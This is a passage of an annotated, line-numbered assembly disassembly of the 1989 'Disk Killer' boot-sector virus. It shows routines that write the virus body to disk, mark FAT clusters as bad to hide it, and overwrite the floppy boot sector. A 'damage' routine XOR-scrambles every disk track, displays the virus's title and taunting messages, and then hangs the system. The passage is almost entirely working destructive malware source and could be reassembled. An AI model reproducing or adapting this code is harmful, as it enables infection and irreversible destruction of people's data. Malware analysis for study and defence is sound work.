  690. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  691. ;               wr_virus_body  SUBROUTINE(03F6)
  692. ;
  693. ; write the virus body to the sector pointed to by dx:ax
  694. ; input: dx:ax
  695. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  696.   
  697. wr_virus_body   proc    near
  698.                 mov     word ptr virus_body,ax      ; (seg_a:0042)
  699.                 mov     word ptr virus_body[2],dx   ; (seg_a:0044)
  700.                 call    conv_notation               ; (00F4)
  701.                 test    drive,80h                   ; is HD?
  702.                 jnz     loc_33                      ; Jump if HD
  703.                 mov     marker3,0                   ; (seg_a:0351)
  704. loc_33:                                             ;
  705.                 mov     counter2,1                   ; (seg_a:034F)
  706.                 lea     bx,cs:[200h]                ; Load effective addr
  707.                 mov     al,4
  708.                 call    wr_sector                   ; (0147)
  709.                 mov     marker3,77h                 ; (seg_a:0351)
  710.                 retn
  711. wr_virus_body   endp
  712.   
  713.   
  714. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  715. ;                              SUBROUTINE(0420)
  716. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  717.   
  718. flag_bad_sectors proc    near
  719.                 mov     ax,4
  720.                 inc     ax
  721.                 div     SectorsPerCluster           ; (seg_a:000D=2) al,ah rem = ax/data
  722.                 mov     required_clusters,al        ; (seg_a:03F5=3)
  723.                 cmp     ah,0
  724.                 je      loc_34                      ; Jump if equal
  725.                 inc     required_clusters           ; (seg_a:03F5)
  726.                 ; required_clusters = round(5/SectorsPerCluster)
  727. loc_34:
  728.                 mov     ax,BytesPerSector           ; (seg_a:000B=200h)
  729.                 mov     cl,20h
  730.                 div     cl                          ; al, ah rem = ax/reg
  731.                 mov     cl,al
  732.                 mov     ax,RootDirEntries           ; (seg_a:0011=70h)
  733.                 div     cl                          ; al, ah rem = ax/reg
  734.                 add     ax,ReservedSectors          ; (seg_a:000E=1)
  735.                 mov     bx,ax
  736.                 mov     ax,SectorsPerFAT            ; (seg_a:0016=2)
  737.                 mul     FATcopies                   ; (seg_a:0010=2) ax = data * al
  738.                 add     bx,ax
  739.                 mov     first_data_sec,bx
  740.                 ; first_data_sec = (RootDirEntries/(BytesPerSector/20))+ReservedSectors
  741.                 ;                  + (SectorsPerFAT*FATcopies)
  742.                 ; eg 70h/(200h/20h)+1+(2*2) = 0ch
  743.  
  744.                 mov     ax,SectorsPerDisk           ; (seg_a:0013=2D0h)
  745.                 sub     ax,bx
  746.                 mov     cl,SectorsPerCluster        ; (seg_a:000D=2)
  747.                 xor     dx,dx                       ; Zero register
  748.                 xor     ch,ch                       ; Zero register
  749.                 div     cx                          ; ax,dx rem=dx:ax/reg
  750.                 mov     last_data_cluster,ax        ; (seg_a:03F2)
  751.                 ; last_data_cluster = (SectorsPerDisk - first_data_sec)/SectorsPerCluster
  752.                 ; eg (2d0h-0ch)/2 = 162h
  753.  
  754.                 mov     cx,23h
  755. loc_35:
  756.                   call    rd_FATrec                 ; (0577)
  757.                   cmp     dx,0                      ; free sector
  758.                   jne     loc_36                    ; Jump if not equal
  759.                   inc     free_clusters             ; (seg_a:03F4)
  760.                   mov     al,free_clusters          ; (seg_a:03F4)
  761.                   cmp     al,required_clusters      ; (seg_a:03F5)
  762.                   jne     loc_37                    ; Jump if not equal
  763.                   jmp     short loc_38              ; (0490)
  764.                   nop
  765. loc_36:
  766.                   mov     free_clusters,0           ; (seg_a:03F4)
  767. loc_37:
  768.                   inc     cx
  769.                   cmp     cx,last_data_cluster      ; (seg_a:03F2=162h)
  770.                 jne     loc_35                      ; Jump if not equal
  771.  
  772.                 stc                                 ; Set carry flag
  773.                 retn
  774. loc_38:
  775.                 call    wr_bad_FATrec               ; (0596)
  776.                 dec     cx
  777.                 dec     al
  778.                 jnz     loc_38                      ; Jump if not zero
  779.                 inc     cx
  780.                 mov     last_bad_FATrec,cx          ; (seg_a:04A1=11Eh)
  781.                 clc                                 ; Clear carry flag
  782.                 retn
  783. flag_bad_sectors endp
  784.   
  785. _ReservedSectors    dw  1       ; stores ReservedSectors
  786. last_bad_FATrec dw      11Eh    ; stores the last FAT record to be marked bad
  787. first_data_sec  dw      0Ch     ; first available sector on disk
  788.  
  789. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  790. ;               infect_FD  SUBROUTINE
  791. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  792.  
  793. loc_39:
  794.                 jmp     loc_40                      ; (052B)
  795.  
  796. infect_FD       proc    near
  797.                 mov     ax,ReservedSectors          ; (seg_a:000E=1)
  798.                 mov     _ReservedSectors,ax         ; (seg_a:049F)
  799.                 xor     dx,dx                       ; Zero register
  800.                 call    conv_notation               ; (00F4)
  801.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  802.                 mov     ax,SectorsPerFAT            ; (seg_a:0016=2)
  803.                 call    rd_sector                   ; (0143)
  804.                 jc      loc_39                      ; Jump if carry Set
  805.                 call    flag_bad_sectors            ; (0420)
  806.                 jc      loc_39                      ; Jump if carry Set
  807.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  808.                 mov     ax,SectorsPerFAT            ; (seg_a:0016=2)
  809.                 call    wr_sector                   ; (0147)
  810.                 jc      loc_39                      ; Jump if carry Set
  811.                 mov     ax,_ReservedSectors         ; (seg_a:049F=1)
  812.                 add     ax,SectorsPerFAT            ; (seg_a:0016=2)
  813.                 xor     dx,dx                       ; Zero register
  814.                 call    conv_notation               ; (00F4)
  815.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  816.                 mov     ax,SectorsPerFAT            ; (seg_a:0016=2)
  817.                 call    wr_sector                   ; (0147)
  818.                 jc      loc_39                      ; Jump if carry Set
  819.                 mov     ax,last_bad_FATrec          ; (seg_a:04A1=11Eh)
  820.                 sub     ax,2
  821.                 xor     dx,dx                       ; Zero register
  822.                 mul     SectorsPerCluster           ; (seg_a:000D=2) ax = data * al
  823.                 add     ax,first_data_sec           ; (seg_a:04A3=0Ch)
  824.                 call    wr_virus_body               ; (03F6)
  825.                 jc      loc_40                      ; Jump if carry Set
  826.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  827.                 call    rd_bootsector               ; (0167)
  828.                 jc      loc_40                      ; Jump if carry Set
  829.                 mov     ax,word ptr virus_body      ; (seg_a:0042=44h)
  830.                 mov     dx,word ptr virus_body[2]   ; (seg_a:0044=0)
  831.                 add     ax,4
  832.                 adc     dx,0
  833.                 mov     original_bs,ax              ; (seg_a:0040=48h)
  834.                 call    conv_notation               ; (00F4)
  835.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  836.                 mov     al,1
  837.                 call    wr_sector                   ; (0147)
  838.                 jc      loc_40                      ; Jump if carry Set
  839.                 call    replace_bs                  ; (052D)
  840.                 jc      loc_40                      ; Jump if carry Set
  841.                 clc                                 ; Clear carry flag
  842.                 retn
  843. loc_40:
  844.                 stc                                 ; Set carry flag
  845.                 retn
  846. infect_FD       endp
  847.   
  848.   
  849. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  850. ;                              SUBROUTINE(052d)
  851. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  852.   
  853. replace_bs      proc    near
  854.                 lea     si,ds:start                 ; (seg_a:0000=0FAh) Load effective addr
  855.                 lea     di,cs:buffer_area           ; (seg_a:08A2) Load effective addr
  856.                 lea     cx,cs:end_of_bs             ; Load effective addr
  857.                 cld                                 ; Clear direction
  858.                 rep     movsb                       ; Rep when cx >0 Mov [si] to es:[di]
  859.  
  860.                                                     ; patch various places
  861.                 lea     bx,buffer_area                          ; (seg_a:08A2) Load effective addr
  862.                 mov     byte ptr ds:[bx][offset code_patch],13h ; (seg_a:0164=13h)
  863.                 mov     word ptr [bx][offset counter_lo],0      ; (seg_a:01F0=0)
  864.                 mov     byte ptr [bx][offset counter_hi],0      ; (seg_a:01F2=0)
  865.  
  866.                 test    drive,80h                               ; (seg_a:004A=0)
  867.                 jnz     loc_41                                  ; Jump if not zero
  868.                 mov     byte ptr [bx][offset marker1],0         ; (seg_a:01F3=0)
  869.                 jmp     short loc_42                            ; (0564)
  870.                 nop
  871. loc_41:
  872.                 mov     byte ptr [bx][offset marker1],0AAh  ; (seg_a:01F3)
  873. loc_42:
  874.                 mov     ax,[bx][offset SectorsPerTrack]
  875. ;*              nop                                 ;*Fixup for MASM (M)
  876.  
  877.                 xor     dx,dx                       ; Zero register
  878.                 call    conv_notation
  879.  
  880.                 mov     al,1
  881.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  882.                 call    wr_sector
  883.                 retn
  884. replace_bs      endp
  885.   
  886.   
  887. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  888. ;               rd_FATrec  SUBROUTINE(0577)
  889. ;
  890. ; reads the required 12bit FAT entry
  891. ;
  892. ; input in cx (eg. 23h)
  893. ; output in dx
  894. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  895.   
  896. rd_FATrec       proc    near
  897.                 push    cx
  898.                 lea     si,buffer_area              ; (seg_a:08A2) Load effective addr
  899.                 mov     bx,cx
  900.                 shl     bx,1                        ; Shift w/zeros fill
  901.                 add     bx,cx
  902.                 shr     bx,1                        ; Shift w/zeros fill
  903.                                                     ; bx = 1.5 * cx
  904.                 mov     dx,[bx+si]
  905.                 test    cx,1
  906.                 jz      loc_43                      ; Jump if zero
  907.                 mov     cl,4
  908.                 shr     dx,cl                       ; Shift w/zeros fill
  909.                                                     ; correct odd entries
  910.  
  911. loc_43:
  912.                 and     dx,0FFFh
  913.                 pop     cx
  914.                 retn
  915. rd_FATrec       endp
  916.   
  917.   
  918. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  919. ;               wr_bad_FATrec SUBROUTINE(0596)
  920. ;
  921. ; mark FAT entry as bad
  922. ; input in cx
  923. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  924.   
  925. wr_bad_FATrec   proc    near
  926.                 push    cx
  927.                 lea     si,buffer_area              ; (seg_a:08A2) Load effective addr
  928.                 mov     bx,cx
  929.                 shl     bx,1                        ; Shift w/zeros fill
  930.                 add     bx,cx
  931.                 shr     bx,1                        ; Shift w/zeros fill
  932.                                                     ; x = 1.5 * cx
  933.                 mov     dx,[bx+si]
  934.                 test    cx,1
  935.                 jz      loc_44                      ; Jump if zero
  936.                                                     ; for odd entries:
  937.                 and     dx,0Fh
  938.                 nop                                 ;*Fixup for MASM (M)
  939.                 or      dx,0FF70h                   ; mark as bad
  940.                 jmp     short loc_45                ; (05BE)
  941.                 nop
  942. loc_44:                                             ; for even entries:
  943.                 and     dx,0F000h
  944.                 or      dx,0FF7h                    ; mark as bad
  945. loc_45:
  946.                 mov     [bx+si],dx
  947.                 pop     cx
  948.                 retn
  949. wr_bad_FATrec   endp
  950.  
  951. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  952. ;                          damage the disk(05c2)
  953. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  954.   
  955.   
  956. damage:                                             ; damage the disk
  957.                 mov     byte ptr cs:code_patch,13h  ; restore the patched code
  958.                 cli                                 ; Disable interrupts
  959.                 xor     ax,ax                       ; Zero register
  960.                 mov     ds,ax
  961.                 ASSUME  ds:seg_0
  962.                                                         ; int 9 -> int 82
  963.                 mov     ax,word ptr ds:int9_vector      ; (0000:0024)
  964.                 mov     word ptr ds:int82_vector,ax     ; (0000:0208)
  965.                 mov     ax,word ptr ds:int9_vector[2]   ; (0000:0026)
  966.                 mov     word ptr ds:int82_vector[2],ax  ; (0000:020A)
  967.  
  968.                                                         ; int_9_entry -> int 9
  969.                 mov     ax,offset int_9_entry           ; (028A)
  970.                 mov     word ptr int9_vector,ax         ; (0000:0024)
  971.                 mov     ax,cs
  972.                 mov     word ptr int9_vector[2],ax      ; (0000:0026)
  973.  
  974.                                                         ; restore all other interrupts
  975.                 mov     ax,word ptr ds:int81_vector     ; (0000:0204)
  976.                 mov     word ptr int8_vector,ax         ; (0000:0020)
  977.                 mov     ax,word ptr ds:int81_vector[2]  ; (0000:0206)
  978.                 mov     word ptr int8_vector[2],ax      ; (0000:0022)
  979.                 mov     ax,word ptr ds:int83_vector     ; (0000:020C)
  980.                 mov     word ptr int13_vector,ax        ; (0000:004C)
  981.                 mov     ax,word ptr ds:int83_vector[2]  ; (0000:020E)
  982.                 mov     word ptr int13_vector[2],ax     ; (0000:004E)
  983.                 sti                                     ; Enable interrupts
  984.  
  985.                 mov     ax,cs
  986.                 mov     ds,ax
  987.                 mov     es,ax
  988.                 ASSUME  ds:seg_a, es:seg_a
  989.  
  990.                 sub     ax,1000h
  991.                 mov     store_es,ax                 ; (seg_a:0862)
  992.                 cmp     marker1,0                   ; (seg_a:01F3)
  993.                 je      loc_46                      ; Jump if equal
  994.                 mov     dl,_drive                   ; (seg_a:01F4)
  995. loc_46:
  996.                 mov     drive,dl                    ; (seg_a:004A)
  997.                 lea     bx,buffer_area              ; (seg_a:08A2) Load effective addr
  998.                 call    rd_bootsector               ; (0167)
  999.                 call    cp_boot_record              ; (0813)
  1000.                 mov     ah,0Fh
  1001.                 int     10h                         ; Video display   ah=functn 0Fh
  1002.                                                     ;  get state, al=mode, bh=page
  1003.                 mov     ah,0
  1004.                 int     10h                         ; Video display   ah=functn 00h
  1005.                                                     ;  set display mode in al
  1006.                 mov     ax,600h
  1007.                 mov     cx,0
  1008.                 mov     dx,184Fh
  1009.                 mov     bx,7
  1010.                 int     10h                         ; Video display   ah=functn 06h
  1011.                                                     ;  scroll up, al=lines
  1012.                 mov     ah,2
  1013.                 mov     bh,0
  1014.                 mov     dx,10Eh
  1015.                 int     10h                         ; Video display   ah=functn 02h
  1016.                                                     ;  set cursor location in dx
  1017.                 mov     bx,70h
  1018.                 mov     si,offset str_title         ; (seg_a:073A)
  1019.                 call    display_str                 ; (0889)
  1020.                 mov     ah,2
  1021.                 mov     bh,0
  1022.                 mov     dx,1523h
  1023.                 int     10h                         ; Video display   ah=functn 02h
  1024.                                                     ;  set cursor location in dx
  1025.                 mov     bx,2Eh
  1026.                 mov     si,offset str_warning       ; (seg_a:0774)
  1027.                 call    display_str                 ; (0889)
  1028.                 mov     ah,2
  1029.                 mov     bh,0
  1030.                 mov     dx,0C23h
  1031.                 int     10h                         ; Video display   ah=functn 02h
  1032.                                                     ;  set cursor location in dx
  1033.                 mov     bx,8Ch
  1034.                 mov     si,offset str_processing    ; (seg_a:07D2)
  1035.                 call    display_str                 ; (0889)
  1036.  
  1037.                                                     ; annihilate 200h of the buffer area
  1038.                 lea     ax,buffer_area              ; (seg_a:08A2) Load effective addr
  1039.                 mov     di,ax
  1040.                 mov     ax,0
  1041.                 mov     cx,BytesPerSector           ; (seg_a:000B=200h)
  1042.                 cld                                 ; Clear direction
  1043.                 rep     stosb                       ; Rep when cx >0 Store al to es:[di]
  1044.  
  1045.                 mov     ax,SectorsPerTrack          ; (seg_a:0018=9)
  1046.                 mov     word ptr buffer_area[6],ax  ; (seg_a:08A8)
  1047.                 mov     cx,BytesPerSector           ; (seg_a:000B=200h)
  1048.                 mov     word ptr buffer_area[2],cx  ; (seg_a:08A4)
  1049.                 mul     cx                          ; dx:ax = reg * ax
  1050.                 shr     ax,1                        ; Shift w/zeros fill
  1051.                 mov     words_to_mangle,ax          ; (seg_a:0860)
  1052.                 mov     ax,SectorsPerDisk           ; (seg_a:0013=2D0h)
  1053.                 xor     dx,dx                       ; Zero register
  1054.                 div     SectorsPerTrack             ; (seg_a:0018=9) ax,dxrem=dx:ax/data
  1055.                 mov     cx,ax
  1056.                 push    cx
  1057.                 mov     word ptr buffer_area[4],ax  ; (seg_a:08A6)
  1058.                 mov     bx,0
  1059.                 mov     head,bl                     ; (seg_a:013F)
  1060.                 mov     track,bx                    ; (seg_a:0141)
  1061.                 mov     sector,1                    ; (seg_a:0140)
  1062.                 mov     ax,store_es                 ; (seg_a:0862)
  1063.                 mov     es,ax
  1064.                 mov     al,1
  1065.                 call    rd_sector                   ; (0143)
  1066.                 inc     sector                      ; (seg_a:0140)
  1067.                 call    wr_sector                   ; (0147)
  1068.                 pop     cx
  1069.                 mov     ax,0
  1070.   
  1071. locloop_47:
  1072.                   push    cx
  1073.                   mov     bx,0
  1074.                   call    rd_track                  ; (0822)
  1075.                   jc      loc_48                    ; Jump if carry Set
  1076.                   mov     bx,0
  1077.                   call    mangle_track             ; (0864)
  1078.                   mov     bx,0
  1079.                   call    wr_track                  ; (082A)
  1080.                   jnc     loc_49                    ; Jump if carry=0
  1081. loc_48:
  1082.                   push    ax
  1083.                   push    cx
  1084.                   mov     cl,8
  1085.                   div     cl                        ; al, ah rem = ax/reg
  1086.                   lea     bx,word ptr buffer_area[8]; (seg_a:08AA=0) Load effective addr
  1087.                   mov     cl,ah
  1088.                   xor     ah,ah                     ; Zero register
  1089.                   add     bx,ax
  1090.                   mov     al,80h
  1091.                   shr     al,cl                     ; Shift w/zeros fill
  1092.                   or      al,[bx]
  1093.                   mov     [bx],al
  1094.                   pop     cx
  1095.                   pop     ax
  1096. loc_49:
  1097.                   inc     ax
  1098.                   pop     cx
  1099.                 loop    locloop_47                  ; Loop if cx > 0
  1100.  
  1101.                 mov     head,0                      ; (seg_a:013F=0)
  1102.                 mov     track,0                     ; (seg_a:0141=4)
  1103.                 mov     sector,1                    ; (seg_a:0140=1)
  1104.                 mov     ax,cs
  1105.                 mov     es,ax
  1106.                 mov     bx,offset buffer_area       ; (seg_a:08A2)
  1107.                 mov     al,1
  1108.                 call    wr_sector                   ; (0147)
  1109.                 mov     ax,600h
  1110.                 mov     cx,0
  1111.                 mov     dx,184Fh
  1112.                 mov     bx,8
  1113.                 int     10h                         ; Video display   ah=functn 06h
  1114.                                                     ;  scroll up, al=lines
  1115.                 mov     ah,2
  1116.                 mov     bh,0
  1117.                 mov     dx,0C00h
  1118.                 int     10h                         ; Video display   ah=functn 02h
  1119.                                                     ;  set cursor location in dx
  1120.                 mov     bx,2Ch
  1121.                 mov     si,offset str_good_luck     ; (seg_a:07DF)
  1122.                 call    display_str                 ; (0889)
  1123.  
  1124. loc_50:                                             ; Hang the system
  1125.                 jmp     short loc_50                ; (0738)
  1126.  
  1127. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1128. ;                       Texts
  1129. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1130.   
  1131. str_title       db      'Disk Killer -- Version 1.00 by COMPUTER OGRE 04/01/1989', 0Dh, 0Ah, 0
  1132. str_warning     db      'Warning !!', 0Dh, 0Ah, 0Ah
  1133.                 db      'Don', 27h, 't turn off the power or remove the diskette while Disk Killer is Processing!', 0
  1134. str_processing  db      'PROCESSING', 0Dh, 0Ah, 0
  1135. str_good_luck   db      'Now you can turn off the power.', 0Dh, 0Ah, 0Ah
  1136.                 db      'I wish you luck !', 0
  1137.   
  1138. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1139. ;                              SUBROUTINE(0813)
  1140. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1141.   
  1142. cp_boot_record  proc    near
  1143.                 push    di
  1144.                 mov     cx,3Ah
  1145.                 mov     si,offset buffer_area + 3   ; (seg_a:08A5)
  1146.                 mov     di,offset disk_info         ; (seg_a:0003)
  1147.                 cld                                 ; Clear direction
  1148.                 rep     movsb                       ; Rep when cx >0 Mov [si] to es:[di]
  1149.  
  1150.                 pop     di
  1151.                 retn
  1152. cp_boot_record  endp
  1153.   
  1154.   
  1155. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1156. ;              read or write a track  SUBROUTINE(0822)
  1157. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1158. ; read a track
  1159.  
  1160. rd_track        proc    near
  1161.                 mov     xx_track_func,2             ; (seg_a:0832=0)
  1162.                 nop
  1163.                 jmp     short loc_51                ; (0833)
  1164.   
  1165. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1166. ; write a track
  1167.  
  1168. wr_track:
  1169.                 mov     xx_track_func,3             ; (seg_a:0832=0)
  1170.                 nop
  1171.                 jmp     short loc_51                ; (0833)
  1172.  
  1173. xx_track_func   db      0                           ; function to execute
  1174.  
  1175. loc_51:
  1176.                 push    ax
  1177.                 xor     dx,dx                       ; Zero register
  1178.                 mov     cx,DiskHeads                ; (seg_a:001A=2)
  1179.                 div     cx                          ; ax,dx rem=dx:ax/reg
  1180.                 mov     sector,1                    ; (seg_a:0140=1)
  1181.                 mov     head,dl                     ; (seg_a:013F=0)
  1182.                 mov     track,ax                    ; (seg_a:0141=4)
  1183.                 mov     ax,store_es                 ; (seg_a:0862=0)
  1184.                 mov     es,ax
  1185.                 mov     ah,xx_track_func            ; (seg_a:0832=0)
  1186.                 mov     al,byte ptr SectorsPerTrack ; (seg_a:0018=9)
  1187.                 call    direct_int13                ; (014B)
  1188.                 jnc     loc_52                      ; Jump if carry=0
  1189.  
  1190.                 mov     ah,0
  1191.                 int     13h                         ; Disk  dl=drive #: ah=func a0h
  1192.                                                     ;  reset disk, al=return status
  1193.                 stc                                 ; Set carry flag
  1194. loc_52:
  1195.                 pop     ax
  1196.                 retn
  1197. rd_track        endp
  1198.   
  1199. words_to_mangle dw      0
  1200. store_es        dw      0
  1201.   
  1202. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1203. ;               mess up a sector(0864)
  1204. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1205.   
  1206. mangle_track   proc    near
  1207.                 push    ax
  1208.                 push    ds
  1209.                 push    store_es                    ; (seg_a:0862=0)
  1210.                 pop     ds
  1211.                 mov     cx,cs:words_to_mangle       ; (seg_a:0860=0)
  1212.                 mov     dl,al
  1213.                 shr     dl,1                        ; Shift w/zeros fill
  1214.                 jc      loc_53                      ; Jump if carry Set
  1215.                 xor     ax,0AAAAh
  1216.                 jmp     short locloop_54            ; (087E)
  1217. loc_53:
  1218.                 xor     ax,5555h
  1219.   
  1220. locloop_54:
  1221.                   xor     ax,[bx]
  1222.                   mov     [bx],ax
  1223.                   inc     bx
  1224.                   inc     bx
  1225.                 loop    locloop_54                  ; Loop if cx > 0
  1226.   
  1227.                 pop     ds
  1228.                 pop     ax
  1229.                 retn
  1230. mangle_track   endp
  1231.   
  1232.   
  1233. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1234. ;                              SUBROUTINE(0889)
  1235. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1236.   
  1237. display_str     proc    near
  1238.                 push    cx
  1239.                 mov     cx,1
  1240. loc_55:
  1241.                   lodsb                             ; String [si] to al
  1242.                   or      al,al                     ; Zero ?
  1243.                   jz      loc_57                    ; exit loop if zero
  1244.                   cmp     al,20h
  1245.                   jb      loc_56                    ; Jump if below (no control chars please)
  1246.                   mov     ah,9
  1247.                   int     10h                       ; Video display   ah=functn 09h
  1248.                                                     ;  set char al & attrib bl @curs
  1249. loc_56:
  1250.                   mov     ah,0Eh
  1251.                   int     10h                       ; Video display   ah=functn 0Eh
  1252.                                                     ;  write char al, teletype mode
  1253.                 jmp     short loc_55                ; (088D)
  1254. loc_57:
  1255.                 pop     cx
  1256.                 retn
  1257. display_str     endp
  1258.  
  1259. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1260. ;                              DATA
  1261. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1262.   
  1263.   
